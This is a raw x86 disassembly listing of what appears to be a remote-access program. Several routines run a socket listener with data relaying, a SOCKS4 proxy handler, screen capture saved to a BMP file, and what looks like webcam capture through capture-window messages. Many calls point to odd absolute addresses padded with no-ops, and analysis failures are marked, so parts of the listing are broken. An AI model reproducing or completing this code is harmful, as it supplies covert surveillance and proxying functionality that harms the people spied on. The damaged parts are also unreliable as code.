mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_4407FC[eax], ebx
call dword_43ACB4
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43ADC4
test eax, eax
jnz loc_407D42
push 0Ah
push ebx
call dword_43ADC0
test eax, eax
jnz loc_407D42
loc_407C88: ; CODE XREF: sub_407BDE+BEj
; sub_407BDE+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43AE2C
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407C88
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43AE24
push eax
lea eax, [ebp+var_34C]
push offset unk_42B584
push eax
call sub_4172B0
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_416D5C
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4407F4[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset loc_407D66
push esi
push esi
nop
call near ptr 2690C63h
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_440804[ecx], eax
jz short loc_407D2D
loc_407D1A: ; CODE XREF: sub_407BDE+14Dj
cmp [ebp+var_2C], esi
jnz loc_407C88
push 32h
call near ptr 2610E88h
nop
jmp short loc_407D1A
; ---------------------------------------------------------------------------
loc_407D2D: ; CODE XREF: sub_407BDE+13Aj
nop
call near ptr 2660B07h
push eax
push offset unk_42B538
call sub_40BFE1
pop ecx
pop ecx
jmp short loc_407D45
; ---------------------------------------------------------------------------
loc_407D42: ; CODE XREF: sub_407BDE+61j
; sub_407BDE+93j ...
mov edi, [ebp+arg_0]
loc_407D45: ; CODE XREF: sub_407BDE+162j
push edi
call dword_43AE30
push ebx
call dword_43AE30
push [ebp+var_3C]
call sub_417078
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
sub_407BDE endp ; sp-analysis failed
loc_407D66: ; DATA XREF: sub_407BDE+11Co
push ebp
mov ebp, esp
mov eax, 1344h
call sub_417B30
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_43AE18
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+8], esi
jz loc_407F1C
push 10h
lea eax, [ebp-18h]
push edi
push eax
call sub_417330
add esp, 0Ch
mov word ptr [ebp-18h], 2
push dword ptr [ebp-3Ch]
call dword_43AD98
mov [ebp-16h], ax
lea eax, [ebp-13Ch]
push eax
call dword_43ADD8
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_407DF6
lea eax, [ebp-13Ch]
push eax
call dword_43AE1C
jmp short loc_407E04
; ---------------------------------------------------------------------------
loc_407DF6: ; CODE XREF: ___:00407DE5j
push 2
lea eax, [ebp-8]
push 4
push eax
call dword_43AD50
loc_407E04: ; CODE XREF: ___:00407DF4j
cmp eax, edi
jz loc_407F1C
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push esi
call dword_43AD40
cmp eax, 0FFFFFFFFh
jz loc_407F1C
movzx eax, word ptr [ebp-16h]
push dword ptr [ebp-34h]
mov [ebp-20h], edi
push eax
push dword ptr [ebp-14h]
call dword_43AE24
push eax
lea eax, [ebp-344h]
push offset unk_42B62C
push eax
call sub_4172B0
push esi
lea eax, [ebp-344h]
push 10h
push eax
call sub_416D5C
imul ebx, 234h
mov [ebp-30h], eax
imul eax, 234h
mov ecx, [ebp-34h]
lea esi, dword_4407FC[ebx]
mov dword_4407F4[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_440800[eax], ecx
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-144h]
push edi
push eax
push offset loc_407F4D
push edi
push edi
nop
call near ptr 2690C63h
mov ecx, [ebp-30h]
imul ecx, 234h
cmp eax, edi
mov dword_440804[ecx], eax
jz short loc_407F09
loc_407EB6: ; CODE XREF: ___:00407EC3j
cmp [ebp-20h], edi
jnz short loc_407EC5
push 32h
nop
call near ptr 2610E88h
jmp short loc_407EB6
; ---------------------------------------------------------------------------
loc_407EC5: ; CODE XREF: ___:00407EB9j
mov ebx, 1000h
loc_407ECA: ; CODE XREF: ___:00407F05j
push ebx
lea eax, [ebp-1344h]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp-1344h]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_43ADB0
cmp eax, edi
jle short loc_407F1C
push edi
push eax
lea eax, [ebp-1344h]
push eax
push dword ptr [ebp+8]
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_407ECA
jmp short loc_407F1C
; ---------------------------------------------------------------------------
loc_407F09: ; CODE XREF: ___:00407EB4j
nop
call near ptr 2660B07h
push eax
push offset unk_42B5DC
call sub_40BFE1
pop ecx
pop ecx
loc_407F1C: ; CODE XREF: ___:00407DAAj
; ___:00407E06j ...
mov eax, [ebp-4]
imul eax, 234h
push dword_4407FC[eax]
call dword_43AE30
push dword ptr [ebp+8]
call dword_43AE30
push dword ptr [ebp-4]
call sub_417078
pop ecx
push edi
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
loc_407F4D: ; DATA XREF: ___:00407E96o
push ebp
mov ebp, esp
mov eax, 1128h
call sub_417B30
mov eax, [ebp+8]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp-128h]
rep movsd
mov esi, [ebp-14h]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_407F84: ; CODE XREF: ___:00407FC9j
push edi
lea eax, [ebp-1128h]
push 0
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp-1128h]
push 0
push edi
push eax
push dword_440800[esi]
call dword_43ADB0
test eax, eax
jle short loc_407FCB
push 0
push eax
lea eax, [ebp-1128h]
push eax
push dword_4407FC[esi]
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz short loc_407F84
loc_407FCB: ; CODE XREF: ___:00407FAEj
push dword_440800[esi]
call dword_43AE30
push dword ptr [ebp-14h]
call sub_417078
pop ecx
push 0
nop
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
and dword ptr ss:[eax], 2
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_417330
add esp, 0Ch
mov word ptr [ebp+var_14], 2
push [ebp+var_40]
call dword_43AD98
push 6
push edi
push 2
mov word ptr [ebp+var_14+2], ax
mov [ebp+var_10], esi
call dword_43AE18
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_4407FC[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_43ADC4
test eax, eax
jnz loc_40818C
push 0Ah
push edi
call dword_43ADC0
test eax, eax
jnz loc_40818C
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AEE0
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B75C
push eax
call sub_4172B0
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_4080C5
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D679
add esp, 14h
loc_4080C5: ; CODE XREF: sub_407FEA+B9j
; sub_407FEA+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_40BF6D
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_43AE2C
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_43AE24
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B708
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_416D5C
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_4407F4[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset loc_4081EF
push esi
push esi
nop
call near ptr 2690C63h
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_440804[ecx], eax
jz short loc_40816C
loc_408159: ; CODE XREF: sub_407FEA+180j
cmp [ebp+var_28], esi
jnz loc_4080C5
push 5
nop
call near ptr 2610E88h
jmp short loc_408159
; ---------------------------------------------------------------------------
loc_40816C: ; CODE XREF: sub_407FEA+16Dj
nop
call near ptr 2660B07h
push eax
lea eax, [ebp+var_2D4]
push offset unk_42B6C0
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_4080C5
; ---------------------------------------------------------------------------
loc_40818C: ; CODE XREF: sub_407FEA+7Bj
; sub_407FEA+8Cj
push edi
call dword_43AE30
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_42B680
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_4081CF
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40D679
add esp, 14h
loc_4081CF: ; CODE XREF: sub_407FEA+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_40BF6D
push [ebp+var_3C]
call sub_417078
pop ecx
pop ecx
push esi
nop
call near ptr 261031Eh
pop edi
pop esi
pop ebx
loc_4081EF: ; DATA XREF: sub_407FEA+14Fo
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_4407FC[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_43AD80
test eax, eax
jnz short loc_408270
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_408270: ; CODE XREF: sub_407FEA+26Cj
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_43ADB0
test eax, eax
jg short loc_4082A1
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_4082A1: ; CODE XREF: sub_407FEA+29Dj
cmp [ebp+var_4D0], 4
jnz loc_40849B
cmp [ebp+var_4CF], 1
jnz loc_40849B
cmp [ebp+var_44], bl
jz short loc_408337
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_408337
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_42B830
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_417330
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43ADE8
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
call near ptr 261031Eh
nop
loc_408337: ; CODE XREF: sub_407FEA+2D4j
; sub_407FEA+2EAj
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_417330
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_43AE18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4083CF
call dword_43AD2C
push eax
push offset unk_42B7E4
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417330
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43ADE8
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_4083CF: ; CODE XREF: sub_407FEA+386j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_43AD40
cmp eax, 0FFFFFFFFh
jnz short loc_40843E
call dword_43AD2C
push eax
push offset unk_42B794
call sub_40BFE1
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417330
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43ADE8
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
call near ptr 261031Eh
nop
loc_40843E: ; CODE XREF: sub_407FEA+3F5j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_43ADE8
push dword ptr [esi]
push edi
call sub_4084B3
pop ecx
pop ecx
push edi
call dword_43AE30
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
loc_40849B: ; CODE XREF: sub_407FEA+2BEj
; sub_407FEA+2CBj
push dword ptr [esi]
call dword_43AE30
push [ebp+arg_0]
call sub_417078
pop ecx
push ebx
nop
call near ptr 261031Eh
sub_407FEA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084C9: ; CODE XREF: sub_4084B3+C5j
; sub_4084B3+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4084E1: ; CODE XREF: sub_4084B3+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4084F1
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4084E1
loc_4084F1: ; CODE XREF: sub_4084B3+33j
cmp ecx, 1
jnz short loc_408506
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_408506: ; CODE XREF: sub_4084B3+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_43AD80
lea eax, [ebp+var_104]
push eax
push ebx
call dword_43AC90
test eax, eax
jz short loc_408566
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43ADB0
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
loc_408566: ; CODE XREF: sub_4084B3+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43AC90
test eax, eax
jz loc_4084C9
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43ADB0
cmp eax, 0FFFFFFFFh
jz short loc_4085AE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43ADE8
cmp eax, 0FFFFFFFFh
jnz loc_4084C9
loc_4085AE: ; CODE XREF: sub_4084B3+9Aj
; sub_4084B3+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_43AD84
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4087E7
push 8
push edi
call dword_43ADA0
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_43ADA0
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_43ADA0
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_408615
push 18h
push edi
call dword_43ADA0
mov ebx, 100h
jmp short loc_408617
; ---------------------------------------------------------------------------
loc_408615: ; CODE XREF: sub_4085B3+50j
xor ebx, ebx
loc_408617: ; CODE XREF: sub_4085B3+60j
push edi
call dword_43ADE4
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4087CC
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_43ADDC
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4087D7
push eax
push [ebp+var_4]
call dword_43AC74
cmp eax, esi
jz loc_4087D7
cmp eax, 0FFFFFFFFh
jz loc_4087D7
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_43ADE0
test eax, eax
jz loc_4087D7
cmp ebx, esi
jz short loc_4086D4
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_43ACC8
mov ebx, eax
loc_4086D4: ; CODE XREF: sub_4085B3+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
nop
call near ptr 2660829h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4087B7
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call near ptr 2650000h
nop
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 2650000h
cmp ebx, esi
jz short loc_408799
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call near ptr 2650000h
nop
loc_408799: ; CODE XREF: sub_4085B3+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call near ptr 2650000h
nop
push [ebp+arg_0]
nop
call near ptr 26408F3h
push 1
pop esi
loc_4087B7: ; CODE XREF: sub_4085B3+1A2j
push [ebp+var_1C]
call dword_43ACFC
push [ebp+var_4]
call dword_43AC60
mov edi, [ebp+var_20]
loc_4087CC: ; CODE XREF: sub_4085B3+70j
push edi
call dword_43AC60
mov eax, esi
jmp short loc_4087E9
; ---------------------------------------------------------------------------
loc_4087D7: ; CODE XREF: sub_4085B3+C7j
; sub_4085B3+D9j ...
push edi
call dword_43AC60
push [ebp+var_4]
call dword_43AC60
loc_4087E7: ; CODE XREF: sub_4085B3+23j
xor eax, eax
loc_4087E9: ; CODE XREF: sub_4085B3+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4085B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087EE proc near ; CODE XREF: sub_40EE72+46EBp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_439830
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43ACF0
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_40882C
mov eax, esi
jmp loc_4089E2
; ---------------------------------------------------------------------------
loc_40882C: ; CODE XREF: sub_4087EE+35j
push edi
call dword_43AD38
test eax, eax
jz short loc_408849
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43ADF4
jmp short loc_40884B
; ---------------------------------------------------------------------------
loc_408849: ; CODE XREF: sub_4087EE+47j
xor eax, eax
loc_40884B: ; CODE XREF: sub_4087EE+59j
cmp eax, ebx
jnz short loc_408856
loc_40884F: ; CODE XREF: sub_4087EE+88j
; sub_4087EE+BCj
mov ebx, esi
jmp loc_4089D7
; ---------------------------------------------------------------------------
loc_408856: ; CODE XREF: sub_4087EE+5Fj
push edi
call dword_43AD38
test eax, eax
jz short loc_408873
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_43ADF4
loc_408873: ; CODE XREF: sub_4087EE+71j
cmp [ebp+var_20], ebx
jz short loc_40884F
push edi
call dword_43AD38
test eax, eax
mov edi, 42Ch
jz short loc_408899
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_43ADF4
mov [ebp+arg_4], eax
jmp short loc_40889C
; ---------------------------------------------------------------------------
loc_408899: ; CODE XREF: sub_4087EE+98j
mov [ebp+arg_4], ebx
loc_40889C: ; CODE XREF: sub_4087EE+A9j
push [ebp+arg_4]
call sub_417B89
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_40884F
push [ebp+arg_4]
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4088C3
push 1
pop ebx
jmp loc_4089D7
; ---------------------------------------------------------------------------
loc_4088C3: ; CODE XREF: sub_4087EE+CBj
push [ebp+var_4]
call dword_43AD38
test eax, eax
jz short loc_4088E0
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43ADF4
loc_4088E0: ; CODE XREF: sub_4087EE+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_417390
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4088FB
mov ecx, 280h
loc_4088FB: ; CODE XREF: sub_4087EE+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_408907
mov eax, 1E0h
loc_408907: ; CODE XREF: sub_4087EE+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_43AD38
test eax, eax
mov edi, 42Dh
jz short loc_408951
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43ADF4
loc_408951: ; CODE XREF: sub_4087EE+153j
push [ebp+var_4]
call dword_43AD38
test eax, eax
jz short loc_40896E
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_43ADF4
loc_40896E: ; CODE XREF: sub_4087EE+16Ej
push [ebp+var_4]
call dword_43AD38
test eax, eax
jz short loc_40898D
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_43ADF4
loc_40898D: ; CODE XREF: sub_4087EE+18Bj
push [ebp+var_4]
call dword_43AD38
test eax, eax
jz short loc_4089AA
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_43ADF4
loc_4089AA: ; CODE XREF: sub_4087EE+1AAj
push [ebp+var_8]
call sub_417C3B
push esi
call sub_417C3B
pop ecx
pop ecx
push [ebp+var_4]
call dword_43AD38
test eax, eax
jz short loc_4089D7
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_43ADF4
loc_4089D7: ; CODE XREF: sub_4087EE+63j
; sub_4087EE+D0j ...
push [ebp+var_4]
call dword_43AE48
mov eax, ebx
loc_4089E2: ; CODE XREF: sub_4087EE+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4087EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4089E7 proc near ; CODE XREF: sub_40EE72+47A4p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_439830
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_43ACF0
mov edi, eax
cmp edi, ebx
jnz short loc_408A25
mov eax, esi
jmp loc_408C21
; ---------------------------------------------------------------------------
loc_408A25: ; CODE XREF: sub_4089E7+35j
push edi
call dword_43AD38
test eax, eax
jz short loc_408A42
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_43ADF4
jmp short loc_408A44
; ---------------------------------------------------------------------------
loc_408A42: ; CODE XREF: sub_4089E7+47j
xor eax, eax
loc_408A44: ; CODE XREF: sub_4089E7+59j
cmp eax, ebx
jnz short loc_408A4F
loc_408A48: ; CODE XREF: sub_4089E7+8Bj
; sub_4089E7+BCj
mov ebx, esi
jmp loc_408C18
; ---------------------------------------------------------------------------
loc_408A4F: ; CODE XREF: sub_4089E7+5Fj
push edi
call dword_43AD38
test eax, eax
jz short loc_408A6F
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_43ADF4
loc_408A6F: ; CODE XREF: sub_4089E7+71j
cmp [ebp+var_7C], ebx
jz short loc_408A48
push edi
call dword_43AD38
test eax, eax
jz short loc_408A92
push ebx
push ebx
push 42Ch
push edi
call dword_43ADF4
mov [ebp+arg_4], eax
jmp short loc_408A95
